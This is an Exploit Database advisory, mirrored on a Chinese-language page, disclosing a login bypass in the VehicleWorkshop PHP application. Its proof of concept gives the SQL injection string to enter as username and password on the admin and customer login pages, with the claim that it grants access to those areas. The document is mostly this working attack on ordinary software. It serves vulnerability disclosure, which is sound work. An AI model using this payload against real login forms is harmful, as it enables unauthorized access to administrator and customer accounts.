VehicleWorkshop – Authentication Bypass

• Exploit Database
• 804 阅读

• 作者： Touhid M.Shaikh
  日期： 2017-08-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42403/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  [*] Type: Admin or Customer login bypass via SQL injection [*] Author: Touhid M.Shaikh [*] Vendor Homepage: https://github.com/spiritson/VehicleWorkshop [*] Mail: touhidshaikh22[at]gmail[dot]com [*] More info: https://blog.touhidshaikh.com/   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     ===================== PoC ================   Admin Login Page : http://127.0.0.1/emplogin.php Customer Login Page : http://127.0.0.1/login.php     Navigate admin login page or Customer Login Page and submit ' OR 1 --+ for username and password         and it should give you access to the admin area or Customer Area.     Regards. Touhid Shaikh